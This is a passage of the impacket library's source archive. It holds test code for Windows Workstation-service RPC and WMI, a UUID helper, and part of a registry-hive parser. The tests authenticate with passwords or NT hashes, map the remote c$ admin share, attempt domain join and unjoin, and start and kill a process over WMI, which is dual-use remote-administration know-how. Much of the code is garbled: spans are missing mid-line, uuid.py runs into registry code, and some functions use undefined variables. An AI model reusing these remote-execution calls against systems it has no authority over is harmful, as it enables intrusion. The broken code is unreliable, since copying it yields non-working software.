resp = wkst.hNetrWkstaGetInfo(dce, 102)
resp.dump()
resp = wkst.hNetrWkstaGetInfo(dce, 502)
resp.dump()
def test_NetrWkstaUserEnum(self):
dce, rpctransport = self.connect()
request = wkst.NetrWkstaUserEnum()
request['ServerName'] = '\x00'*10
request['UserInfo']['Level'] = 0
request['UserInfo']['WkstaUserInfo']['tag'] = 0
request['PreferredMaximumLength'] = 8192
resp = dce.request(request)
resp.dump()
request['UserInfo']['Level'] = 1
request['UserInfo']['WkstaUserInfo']['tag'] = 1
resp = dce.request(request)
resp.dump()
def test_hNetrWkstaUserEnum(self):
dce, rpctransport = self.connect()
resp = wkst.hNetrWkstaUserEnum(dce, 0)
resp.dump()
resp = wkst.hNetrWkstaUserEnum(dce, 1)
resp.dump()
def test_NetrWkstaTransportEnum(self):
dce, rpctransport = self.connect()
request = wkst.NetrWkstaTransportEnum()
request['ServerName'] = '\x00'*10
request['TransportInfo']['Level'] = 0
request['TransportInfo']['WkstaTransportInfo']['tag'] = 0
request['PreferredMaximumLength'] = 500
request['ResumeHandle'] = NULL
resp = dce.request(request)
resp.dump()
def test_hNetrWkstaTransportEnum(self):
dce, rpctransport = self.connect()
resp = wkst.hNetrWkstaTransportEnum(dce, 0)
resp.dump()
def test_NetrWkstaSetInfo(self):
dce, rpctransport = self.connect()
request = wkst.NetrWkstaGetInfo()
request['ServerName'] = '\x00'*10
request['Level'] = 502
resp = dce.request(request)
resp.dump()
oldVal = resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit']
req = wkst.NetrWkstaSetInfo()
req['ServerName'] = '\x00'*10
req['Level'] = 502
req['WkstaInfo'] = resp['WkstaInfo']
req['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = 500
resp2 = dce.request(req)
resp2.dump()
resp = dce.request(request)
self.assertTrue(500 == resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] )
req['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = oldVal
resp2 = dce.request(req)
resp2.dump()
def test_hNetrWkstaSetInfo(self):
dce, rpctransport = self.connect()
resp = wkst.hNetrWkstaGetInfo(dce, 502)
resp.dump()
oldVal = resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit']
resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = 500
resp2 = wkst.hNetrWkstaSetInfo(dce, 502,resp['WkstaInfo']['WkstaInfo502'])
resp2.dump()
resp = wkst.hNetrWkstaGetInfo(dce, 502)
resp.dump()
self.assertTrue(500 == resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] )
resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = oldVal
resp2 = wkst.hNetrWkstaSetInfo(dce, 502,resp['WkstaInfo']['WkstaInfo502'])
resp2.dump()
def test_NetrWkstaTransportAdd(self):
dce, rpctransport = self.connect()
req = wkst.NetrWkstaTransportAdd()
req['ServerName'] = '\x00'*10
req['Level'] = 0
req['TransportInfo']['wkti0_transport_name'] = 'BETO\x00'
req['TransportInfo']['wkti0_transport_address'] = '000C29BC5CE5\x00'
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_FUNCTION') < 0:
raise
def test_hNetrUseAdd_hNetrUseDel_hNetrUseGetInfo_hNetrUseEnum(self):
dce, rpctransport = self.connect()
info1 = wkst.LPUSE_INFO_1()
info1['ui1_local'] = 'Z:\x00'
info1['ui1_remote'] = '\\\\127.0.0.1\\c$\x00'
info1['ui1_password'] = NULL
resp = wkst.hNetrUseAdd(dce, 1, info1)
resp.dump()
# We're not testing this call with NDR64, it fails and I can't see the contents
if self.ts == ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'):
return
resp = wkst.hNetrUseEnum(dce, 2)
resp.dump()
resp2 = wkst.hNetrUseGetInfo(dce, 'Z:', 3)
resp2.dump()
resp = wkst.hNetrUseDel(dce,'Z:')
resp.dump()
def test_NetrUseAdd_NetrUseDel_NetrUseGetInfo_NetrUseEnum(self):
dce, rpctransport = self.connect()
req = wkst.NetrUseAdd()
req['ServerName'] = '\x00'*10
req['Level'] = 1
req['InfoStruct']['tag'] = 1
req['InfoStruct']['UseInfo1']['ui1_local'] = 'Z:\x00'
req['InfoStruct']['UseInfo1']['ui1_remote'] = '\\\\127.0.0.1\\c$\x00'
req['InfoStruct']['UseInfo1']['ui1_password'] = NULL
resp2 = dce.request(req)
resp2.dump()
# We're not testing this call with NDR64, it fails and I can't see the contents
if self.ts == ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'):
return
req = wkst.NetrUseEnum()
req['ServerName'] = NULL
req['InfoStruct']['Level'] = 2
req['InfoStruct']['UseInfo']['tag'] = 2
req['InfoStruct']['UseInfo']['Level2']['Buffer'] = NULL
req['PreferredMaximumLength'] = 0xffffffff
req['ResumeHandle'] = NULL
resp2 = dce.request(req)
resp2.dump()
req = wkst.NetrUseGetInfo()
req['ServerName'] = '\x00'*10
req['UseName'] = 'Z:\x00'
req['Level'] = 3
resp2 = dce.request(req)
resp2.dump()
req = wkst.NetrUseDel()
req['ServerName'] = '\x00'*10
req['UseName'] = 'Z:\x00'
req['ForceLevel'] = wkst.USE_LOTS_OF_FORCE
resp2 = dce.request(req)
resp2.dump()
def test_NetrWorkstationStatisticsGet(self):
dce, rpctransport = self.connect()
req = wkst.NetrWorkstationStatisticsGet()
req['ServerName'] = '\x00'*10
req['ServiceName'] = '\x00'
req['Level'] = 0
req['Options'] = 0
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_PARAMETER') < 0:
raise
def test_hNetrWorkstationStatisticsGet(self):
dce, rpctransport = self.connect()
try:
resp2 = wkst.hNetrWorkstationStatisticsGet(dce, '\x00', 0, 0)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_PARAMETER') < 0:
raise
def test_NetrGetJoinInformation(self):
dce, rpctransport = self.connect()
req = wkst.NetrGetJoinInformation()
req['ServerName'] = '\x00'*10
req['NameBuffer'] = '\x00'
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_PARAMETER') < 0:
raise
def test_hNetrGetJoinInformation(self):
dce, rpctransport = self.connect()
try:
resp = wkst.hNetrGetJoinInformation(dce, '\x00')
resp.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_PARAMETER') < 0:
raise
def test_NetrJoinDomain2(self):
dce, rpctransport = self.connect()
req = wkst.NetrJoinDomain2()
req['ServerName'] = '\x00'*10
req['DomainNameParam'] = '172.16.123.1\\FREEFLY\x00'
req['MachineAccountOU'] = 'OU=BETUS,DC=FREEFLY\x00'
req['AccountName'] = NULL
req['Password']['Buffer'] = '\x00'*512
req['Options'] = wkst.NETSETUP_DOMAIN_JOIN_IF_JOINED
#req.dump()
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_PASSWORD') < 0:
raise
def test_hNetrJoinDomain2(self):
dce, rpctransport = self.connect()
try:
resp = wkst.hNetrJoinDomain2(dce,'172.16.123.1\\FREEFLY\x00','OU=BETUS,DC=FREEFLY\x00',NULL,'\x00'*512, wkst.NETSETUP_DOMAIN_JOIN_IF_JOINED)
resp.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_PASSWORD') < 0:
raise
def test_NetrUnjoinDomain2(self):
dce, rpctransport = self.connect()
req = wkst.NetrUnjoinDomain2()
req['ServerName'] = '\x00'*10
req['AccountName'] = NULL
req['Password']['Buffer'] = '\x00'*512
#req['Password'] = NULL
req['Options'] = wkst.NETSETUP_ACCT_DELETE
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_PASSWORD') < 0:
raise
def test_hNetrUnjoinDomain2(self):
dce, rpctransport = self.connect()
try:
resp = wkst.hNetrUnjoinDomain2(dce, NULL, '\x00'*512, wkst.NETSETUP_ACCT_DELETE)
resp.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_PASSWORD') < 0:
raise
def test_NetrRenameMachineInDomain2(self):
dce, rpctransport = self.connect()
req = wkst.NetrRenameMachineInDomain2()
req['ServerName'] = '\x00'*10
req['MachineName'] = 'BETUS\x00'
req['AccountName'] = NULL
req['Password']['Buffer'] = '\x00'*512
#req['Password'] = NULL
req['Options'] = wkst.NETSETUP_ACCT_CREATE
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_PASSWORD') < 0:
raise
def test_hNetrRenameMachineInDomain2(self):
dce, rpctransport = self.connect()
try:
resp = wkst.hNetrRenameMachineInDomain2(dce, 'BETUS\x00', NULL, '\x00'*512, wkst.NETSETUP_ACCT_CREATE)
resp.dump()
except Exception, e:
if str(e).find('ERROR_INVALID_PASSWORD') < 0:
raise
def test_NetrValidateName2(self):
dce, rpctransport = self.connect()
req = wkst.NetrValidateName2()
req['ServerName'] = '\x00'*10
req['NameToValidate'] = 'BETO\x00'
req['AccountName'] = NULL
req['Password'] = NULL
req['NameType'] = wkst.NETSETUP_NAME_TYPE.NetSetupDomain
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('0x8001011c') < 0:
raise
def test_hNetrValidateName2(self):
dce, rpctransport = self.connect()
try:
resp2 = wkst.hNetrValidateName2(dce, 'BETO\x00', NULL, NULL, wkst.NETSETUP_NAME_TYPE.NetSetupDomain)
resp2.dump()
except Exception, e:
if str(e).find('0x8001011c') < 0:
raise
def test_NetrGetJoinableOUs2(self):
dce, rpctransport = self.connect()
req = wkst.NetrGetJoinableOUs2()
req['ServerName'] = '\x00'*10
req['DomainNameParam'] = 'FREEFLY\x00'
req['AccountName'] = NULL
req['Password'] = NULL
req['OUCount'] = 0
#req.dump()
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('0x8001011c') < 0:
raise
def test_hNetrGetJoinableOUs2(self):
dce, rpctransport = self.connect()
try:
resp = wkst.hNetrGetJoinableOUs2(dce,'FREEFLY\x00', NULL, NULL,0 )
resp.dump()
except Exception, e:
if str(e).find('0x8001011c') < 0:
raise
def test_NetrAddAlternateComputerName(self):
dce, rpctransport = self.connect()
req = wkst.NetrAddAlternateComputerName()
req['ServerName'] = '\x00'*10
req['AlternateName'] = 'FREEFLY\x00'
req['DomainAccount'] = NULL
req['EncryptedPassword'] = NULL
#req.dump()
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:
raise
def test_hNetrAddAlternateComputerName(self):
dce, rpctransport = self.connect()
try:
resp2= wkst.hNetrAddAlternateComputerName(dce, 'FREEFLY\x00', NULL, NULL)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:
raise
def test_NetrRemoveAlternateComputerName(self):
dce, rpctransport = self.connect()
req = wkst.NetrRemoveAlternateComputerName()
req['ServerName'] = '\x00'*10
req['AlternateName'] = 'FREEFLY\x00'
req['DomainAccount'] = NULL
req['EncryptedPassword'] = NULL
#req.dump()
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:
raise
def test_hNetrRemoveAlternateComputerName(self):
dce, rpctransport = self.connect()
try:
resp2 = wkst.hNetrRemoveAlternateComputerName(dce,'FREEFLY\x00', NULL, NULL )
resp2.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:
raise
def test_NetrSetPrimaryComputerName(self):
dce, rpctransport = self.connect()
req = wkst.NetrSetPrimaryComputerName()
req['ServerName'] = '\x00'*10
req['PrimaryName'] = 'FREEFLY\x00'
req['DomainAccount'] = NULL
req['EncryptedPassword'] = NULL
#req.dump()
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0:
if str(e).find('ERROR_INVALID_PARAMETER') < 0:
raise
def test_hNetrSetPrimaryComputerName(self):
dce, rpctransport = self.connect()
try:
resp2 = wkst.hNetrSetPrimaryComputerName(dce,'FREEFLY\x00', NULL, NULL )
resp2.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0:
if str(e).find('ERROR_INVALID_PARAMETER') < 0:
raise
def test_NetrEnumerateComputerNames(self):
dce, rpctransport = self.connect()
req = wkst.NetrEnumerateComputerNames()
req['ServerName'] = '\x00'*10
req['NameType'] = wkst.NET_COMPUTER_NAME_TYPE.NetAllComputerNames
#req.dump()
try:
resp2 = dce.request(req)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0:
raise
def test_hNetrEnumerateComputerNames(self):
dce, rpctransport = self.connect()
try:
resp2 = wkst.hNetrEnumerateComputerNames(dce,wkst.NET_COMPUTER_NAME_TYPE.NetAllComputerNames)
resp2.dump()
except Exception, e:
if str(e).find('ERROR_NOT_SUPPORTED') < 0:
raise
class SMBTransport(WKSTTests):
def setUp(self):
WKSTTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class SMBTransport64(WKSTTests):
def setUp(self):
WKSTTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_wmi.py 0000600 0000765 0000000 00000024763 12734531507 022612 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
# IWbemLevel1Login::EstablishPosition
# IWbemLevel1Login::RequestChallenge
# IWbemLevel1Login::WBEMLogin
# IWbemLevel1Login::NTLMLogin
# IWbemServices::OpenNamespace
# IWbemServices::ExecQuery
# IWbemServices::GetObject
#
# Since DCOM is more high level, I'll always use the helper classes
#
# Not yet:
#
# IWbemServices::CancelAsyncCall
# IWbemServices::QueryObjectSink
# IWbemServices::GetObjectAsync
# IWbemServices::PutClass
# IWbemServices::PutClassAsync
# IWbemServices::DeleteClass
# IWbemServices::DeleteClassAsync
# IWbemServices::CreateClassEnum
# IWbemServices::CreateClassEnumAsync
# IWbemServices::PutInstance
# IWbemServices::PutInstanceAsync
# IWbemServices::DeleteInstance
# IWbemServices::DeleteInstanceAsync
# IWbemServices::CreateInstanceEnum
# IWbemServices::CreateInstanceEnumAsync
# IWbemServices::ExecQueryAsync
# IWbemServices::ExecNotificationQuery
# IWbemServices::ExecNotificationQueryAsync
# IWbemServices::ExecMethod
# IWbemServices::ExecMethodAsync
#
# Shouldn't dump errors against a win7
#
################################################################################
import sys
import unittest
import ConfigParser
from struct import pack, unpack
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import epm, dcomrt
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.winregistry import hexdump
from impacket.uuid import string_to_bin, uuidtup_to_bin, generate
from impacket import system_errors, ntlm
class WMITests(unittest.TestCase):
def tes_activation(self):
dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLoginClientID)
dcom.disconnect()
def test_IWbemLevel1Login_EstablishPosition(self):
dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
resp = iWbemLevel1Login.EstablishPosition()
print resp
dcom.disconnect()
def test_IWbemLevel1Login_RequestChallenge(self):
dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
resp = iWbemLevel1Login.RequestChallenge()
print resp
except Exception, e:
if str(e).find('WBEM_E_NOT_SUPPORTED') < 0:
dcom.disconnect()
raise
dcom.disconnect()
def test_IWbemLevel1Login_WBEMLogin(self):
dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
resp = iWbemLevel1Login.WBEMLogin()
print resp
except Exception, e:
if str(e).find('E_NOTIMPL') < 0:
dcom.disconnect()
raise
dcom.disconnect()
def test_IWbemLevel1Login_NTLMLogin(self):
dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
resp = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL)
print resp
dcom.disconnect()
def tes_IWbemServices_OpenNamespace(self):
# Not working
dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./ROOT', NULL, NULL)
try:
resp = iWbemServices.OpenNamespace('__Namespace')
print resp
except Exception, e:
dcom.disconnect()
raise
dcom.disconnect()
def test_IWbemServices_GetObject(self):
dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL)
iWbemLevel1Login.RemRelease()
classObject,_ = iWbemServices.GetObject('Win32_Process')
dcom.disconnect()
def test_IWbemServices_ExecQuery(self):
dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL)
classes = [ 'Win32_Account', 'Win32_UserAccount', 'Win32_Group', 'Win32_SystemAccount', 'Win32_Service']
for classn in classes:
print "Reading %s " % classn
try:
iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from %s' % classn)
done = False
while done is False:
try:
iEnumWbemClassObject.Next(0xffffffff,1)
except Exception, e:
if str(e).find('S_FALSE') < 0:
print e
else:
done = True
pass
except Exception, e:
if str(e).find('S_FALSE') < 0:
print e
dcom.disconnect()
def test_IWbemServices_ExecMethod(self):
dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL)
#classObject,_ = iWbemServices.GetObject('WinMgmts:Win32_LogicalDisk='C:'')
classObject,_ = iWbemServices.GetObject('Win32_Process')
obj = classObject.Create('notepad.exe', 'c:\\', None)
handle = obj.getProperties()['ProcessId']['value']
iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Process where handle = %s' % handle)
oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0]
#import time
#time.sleep(5)
owner = oooo.Terminate(1)
#iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Group where name = "testGroup0"')
#oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0]
#import time
#owner = oooo.Rename('testGroup1')
#iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"')
#oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0]
#import time
#owner = oooo.GetAccessMask()
#print owner.getProperties()
#iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"')
#oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0]
#obj = oooo.SetShareInfo(0, 'HOLA BETO', None)
#classObject,_ = iWbemServices.GetObject('Win32_ShadowCopy')
#obj = classObject.Create('C:\\', 'ClientAccessible')
#print obj.getProperties()
# this one doesn't work
#classObject,_ = iWbemServices.GetObject('Win32_Service')
#obj = classObject.Create('BETOSERVICE', 'Beto Service', 'c:\\beto', 16, 0, 'Manual', 0, None, None, None, None, None)
#print obj.getProperties()
dcom.disconnect()
class TCPTransport(WMITests):
def setUp(self):
WMITests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
if len(self.hashes) > 0:
self.lmhash, self.nthash = self.hashes.split(':')
else:
self.lmhash = ''
self.nthash = ''
class TCPTransport64(WMITests):
def setUp(self):
WMITests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
if len(self.hashes) > 0:
self.lmhash, self.nthash = self.hashes.split(':')
else:
self.lmhash = ''
self.nthash = ''
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/uuid.py 0000600 0000765 0000000 00000005006 12734531507 016567 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Generate UUID compliant with http://www.webdav.org/specs/draft-leach-uuids-guids-01.txt.
# A different, much simpler (not necessarily better) algorithm is used.
#
# Author:
# Javier Kohen (jkohen)
#
import re
from random import randrange
from struct import pack, unpack
def generate():
# UHm... crappy Python has an maximum integer of 2**31-1.
top = (1L<<31)-1
return pack("IIII", randrange(top), randrange(top), randrange(top), randrange(top))
def bin_to_string(uuid):
uuid1, uuid2, uuid3 = unpack('HHL', uuid[8:16])
return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6)
def string_to_bin(uuid):
matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
(uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = map(lambda x: long(x, 16), matches.groups())
uuid = pack('HHL', uuid4, uuid5, uuid6)
return uuid
def stringver_to_bin(s):
(maj,min) = s.split('.')
return pack(' 5:
LOG.warning("Unsupported version (%d.%d) - things might not work!" % (self.__regf['MajorVersion'], self.__regf['MinorVersion']))
def close(self):
self.fd.close()
def __del__(self):
self.close()
def __findRootKey(self):
self.fd.seek(0,0)
data = self.fd.read(4096)
while len(data) > 0:
try:
hbin = REG_HBIN(data[:0x20])
# Read the remaining bytes for this hbin
data += self.fd.read(hbin['OffsetNextHBin']-4096)
data = data[0x20:]
blocks = self.__processDataBlocks(data)
for block in blocks:
if isinstance(block, REG_NK):
if block['Type'] == ROOT_KEY:
return block
except:
pass
data = self.fd.read(4096)
return None
def __getBlock(self, offset):
self.fd.seek(4096+offset,0)
sizeBytes = self.fd.read(4)
data = sizeBytes + self.fd.read(unpack(' 0:
block = self.__getBlock(valueOffset)
res.append(block)
return res
def __getData(self, offset, count):
self.fd.seek(4096+offset, 0)
return self.fd.read(count)[4:]
def __processDataBlocks(self,data):
res = []
while len(data) > 0:
#blockSize = unpack(' 0:
tmpList = list(block.structure)
tmpList[1] = ('_Data','_-Data','self["DataBlockSize"]-4')
block.structure = tuple(tmpList)
block.fromString(data)
blockLen = len(block)
if StructMappings.has_key(block['Data'][:2]):
block = StructMappings[block['Data'][:2]](block['Data'])
res.append(block)
data = data[blockLen:]
return res
def __getValueData(self, rec):
# We should receive a VK record
if rec['DataLen'] == 0:
return ''
if rec['DataLen'] < 0:
# if DataLen < 5 the value itself is stored in the Offset field
return rec['OffsetData']
else:
return self.__getData(rec['OffsetData'], rec['DataLen']+4)
def __getLhHash(self, key):
res = 0
for b in key.upper():
res *= 37
res += ord(b)
return res % 0x100000000
def __compareHash(self, magic, hashData, key):
if magic == 'lf':
hashRec = REG_HASH(hashData)
if hashRec['KeyName'].strip('\x00') == key[:4]:
return hashRec['OffsetNk']
elif magic == 'lh':
hashRec = REG_HASH(hashData)
if unpack(' 1:
key = key[1:]
parentKey = self.rootKey
if len(key) > 0 and key[0]!='\\':
for subKey in key.split('\\'):
res = self.__findSubKey(parentKey, subKey)
if res is not None:
parentKey = res
else:
#LOG.error("Key %s not found!" % key)
return None
return parentKey
def printValue(self, valueType, valueData):
if valueType == REG_SZ or valueType == REG_EXPAND_SZ:
if type(valueData) is int:
print 'NULL'
else:
print "%s" % (valueData.decode('utf-16le'))
elif valueType == REG_BINARY:
print ''
hexdump(valueData, self.indent)
elif valueType == REG_DWORD:
print "%d" % valueData
elif valueType == REG_QWORD:
print "%d" % (unpack(' 1:
print ''
hexdump(valueData, self.indent)
else:
print " NULL"
except:
print " NULL"
elif valueType == REG_MULTISZ:
print "%s" % (valueData.decode('utf-16le'))
else:
print "Unkown Type 0x%x!" % valueType
hexdump(valueData)
def enumKey(self, parentKey):
res = []
# If we're here.. we have a valid NK record for the key
# Now let's searcht the subkeys
if parentKey['NumSubKeys'] > 0:
lf = self.__getBlock(parentKey['OffsetSubKeyLf'])
data = lf['HashRecords']
if lf['Magic'] == 'ri':
# ri points to lf/lh records, so we must parse them before
records = ''
for i in range(lf['NumKeys']):
offset = unpack(' 0:
valueList = self.__getValueBlocks(key['OffsetValueList'], key['NumValues']+1)
for value in valueList:
if value['Flag'] > 0:
resp.append(value['Name'])
else:
resp.append('default')
return resp
def getValue(self, keyValue):
# returns a tuple with (ValueType, ValueData) for the requested keyValue
regKey = ntpath.dirname(keyValue)
regValue = ntpath.basename(keyValue)
key = self.findKey(regKey)
if key is None:
return None
if key['NumValues'] > 0:
valueList = self.__getValueBlocks(key['OffsetValueList'], key['NumValues']+1)
for value in valueList:
if value['Name'] == regValue:
return value['ValueType'], self.__getValueData(value)
elif regValue == 'default' and value['Flag'] <=0:
return value['ValueType'], self.__getValueData(value)
return None
def getClass(self, className):
key = self.findKey(className)
if key is None:
return None
#print key.dump()
if key['OffsetClassName'] > 0:
value = self.__getBlock(key['OffsetClassName'])
return value['Data']
def pretty_print(x):
if x in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ':
return x
else:
return '.'
def hexdump(data, indent = ''):
x=str(data)
strLen = len(x)
i = 0
while i < strLen:
print indent,
print "%04x " % i,
for j in range(16):
if i+j < strLen:
print "%02X" % ord(x[i+j]),
else:
print " ",
if j%16 == 7:
print "",
